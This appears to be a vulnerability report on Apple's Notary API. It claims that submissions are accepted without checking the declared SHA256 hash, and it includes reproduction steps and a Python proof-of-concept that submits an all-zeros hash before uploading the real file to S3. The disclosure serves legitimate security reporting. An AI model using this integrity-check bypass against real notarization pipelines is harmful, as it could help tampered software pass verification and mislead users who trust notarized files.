Notary API SHA256 bug

notary_bug.md

Affected Products:

Notary API 2.0.0+ https://developer.apple.com/documentation/notaryapi

Description:

New submissions are accepted without checking the SHA256 hash

Reproduction Steps:

1. Create Apple Store Connect JWT token using issuer id, key id, and private key supplied by Apple
2. Create a new submission with a SHA256 that is modified from the original file you intend to upload
3. Must be the same length of characters as a SHA256 hash
4. For example: 0000000000000000000000000000000000000000000000000000000000000000
5. Upload the object using the AWS credentials given in the NewSubmissionResponse
6. Check for the submission status on an interval every minute until status no longer indicates “In Progress”
7. Submission status is “Accepted” even though SHA256 hash of submission does not match expected.

Security Ramifications:

Because submission upload is a multi-part process:

• Requiring an API call
• A separate S3 upload

And because:

• The notary API does not check the SHA256 from the initial submission call

It may be possible:

• For an attacker to change the file or intercept the upload to S3 without API verification of the data.

Example Python Script

Uses invalid SHA256 hash when creating submission:

#!/usr/bin/env python
import argparse
import boto3
import jwt
import requests
import time
import os
import hashlib
from datetime import timezone
from datetime import datetime
from datetime import timedelta

parser = argparse.ArgumentParser(description='Notary submission')
parser.add_argument('--key_id', help='Apple store connect API key', action='store', required=True)
parser.add_argument('--issuer_id', help='Apple store connect Issuer ID', action='store', required=True)
parser.add_argument('--private_key', help='Apple store Connect private key', action='store', required=True)
parser.add_argument('--path', help='Submission file', action='store', required=True)
args, unknown = parser.parse_known_args()

print("Creating Apple Store Connect JWT")

jwt_header = {
  "kid": args.key_id,
}
jwt_payload = {
  "iss": args.issuer_id,
  "iat": datetime.now(tz=timezone.utc),
  "exp": datetime.now(tz=timezone.utc) + timedelta(seconds=300),
  "aud": "appstoreconnect-v1",
}

with open(args.private_key, "rb") as f:
  private_key_data = f.read()
  f.close()

asc_token = jwt.encode(jwt_payload, private_key_data, algorithm='ES256', headers=jwt_header)
print(asc_token)

print("Creating new submission")

asc_endpoint = "https://appstoreconnect.apple.com/notary/v2/submissions"
asc_headers = {
  "Content-Type": "application/json",
  "Authorization": f"Bearer {asc_token}"
}
asc_data = {
  "submissionName": os.path.basename(args.path),
  "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
}
print(f"Submission info {asc_data}")

with open(args.path, "rb") as f:
  hash = hashlib.sha256()
  hash.update(f.read())
  sha256 = hash.hexdigest()

print(f"Real sha256: {sha256}")

sub_res = requests.post(asc_endpoint, json=asc_data, headers=asc_headers).json()

if "data" not in sub_res:
  print(f"Failed to create submission {sub_res}")
  exit(1)

sub_id = sub_res["data"]["id"]

print(f"New submission created: {sub_id}")

print(f"Uploading submission file {args.path} to S3...")

aws_info = sub_res["data"]["attributes"]
#print(aws_info)

s3 = boto3.client("s3",
  aws_access_key_id=aws_info["awsAccessKeyId"],
  aws_secret_access_key=aws_info["awsSecretAccessKey"],
  aws_session_token=aws_info["awsSessionToken"]
)

s3_resp = s3.upload_file(args.path, aws_info["bucket"], aws_info["object"])
while True:
  print("Checking submission status...")

  sub_res = requests.get(f"{asc_endpoint}/{sub_id}", headers=asc_headers).json()
  status = sub_res["data"]["attributes"]["status"]

  print(f"Submission status: {status}")
  if status == "In Progress":
    print("Waiting 30 seconds...")
    time.sleep(30)
  else:
    break

print("Submission complete")

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